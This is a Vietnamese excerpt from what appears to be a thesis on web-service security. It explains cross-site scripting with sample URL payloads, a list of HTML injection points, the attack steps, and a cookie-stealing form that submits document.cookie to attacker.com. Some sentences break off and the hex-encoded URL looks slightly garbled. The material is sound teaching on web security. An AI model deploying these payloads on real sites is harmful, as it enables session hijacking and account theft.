Phương pháp tấn công XSS

Một phần của tài liệu Nghiên cứu bảo đảm an toàn thông tin bằng kiểm soát Lỗ hổng trong dịch vụ web (Trang 28)

Phương pháp “Cross Site Scripting” (XSS) là phương pháp tấn công, bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web, để

từ đó chúng được chạy như là một phần của ứng dụng Web, và có khả năng cung cấp hoặc thực hiện những điều hacker muốn.

Phương pháp này không nhằm vào máy chủ hệ thống, mà chủ yếu tấn công vào máy người dùng. Hacker lợi dụng sự kiểm tra lỏng lẻo từứng dụng và hiểu biết hạn chế của người dùng, biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng.

Thông thường hacker lợi dụng địa chỉ URL, để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình viết bằng ngôn ngữ máy khách như

VBScript, JavaScript… thực thi trên chính trình duyệt của nạn nhân.

Ví dụ 7: http://hotwired.lycos.com/webmonkey/00/index1.html?tw= <script>alert(document.cookie);</script> hay http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text= %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong 2 ví dụ trên, hầu hết những tiền tố URL là địa chỉ

Ví dụ trên chỉ minh họa việc thêm đoạn mã của mình vào trang Web thông qua URL. Nhưng thực sự thì có nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể lợi dụng Document Object Model (DOM), để thay đổi ngữ cảnh và nội dung Web ứng dụng. Sau đây là danh sách nơi có thể chèn đoạn mã:

<a href="javas&#99;ript&#35;[code]"> <div onmouseover="[code]">

<img src="javascript:[code]"> <img dynsrc="javascript:[code]">

<input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]">

&<script>[code]</script> &{[code]};

Các bước thực hiện XSS truyền thống:

Hình 4: Quá trình thực hiện XSS

Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hổng XSS.

Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).

Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker.

Bước 4: Hacker tạo một chương trình hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để

Ví dụ 8:

Khi đang đọc thư mà chuyển sang website khác, có thể bị mất mật khẩu. Trước đây, hàng loạt hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư

mà không rõ nguyên nhân, đó là do lỗi XSS. Hacker đã sử dụng đoạn mã sau để đánh cắp cookie:

<form action="http://attacker.com/save.asp" method="post" name="XSS"> <input type="hidden" name="cookie"> </form>

<img border="0" onmouseover="window.document.XSS.cookie.value = document.cookie; window.document.XSS.submit();" src="none.jpg">

Khi nhận thư, nếu vô tình đưa con chuột qua bức ảnh gửi kèm, người dùng sẽ bị

lấy mất cookie. Và với cookie lấy được, các hacker có thể login hòm thư mà không cần biết mật khẩu.

Ví dụ 9:

Nếu như gặp một liên kết có dạng:

http://example.com/search.cgi?query=<script>alert(document.cookie)</script>

Người dùng phải xem xét kĩ trước khi click vào, vì có khả năng sẽ mất cookies. Do đó nên tắt JavaScript cho trình duyệt trước khi click vào, hay ít nhất cũng có một chút cảnh giác. Nhưng nếu gặp liên kết:

http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%6 9%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74%2E%6 3%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]

Đó thực chất chính là liên kết ban đầu, nhưng chỉ khác nó được mã hoá. Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì.

Một phần của tài liệu Nghiên cứu bảo đảm an toàn thông tin bằng kiểm soát Lỗ hổng trong dịch vụ web (Trang 28)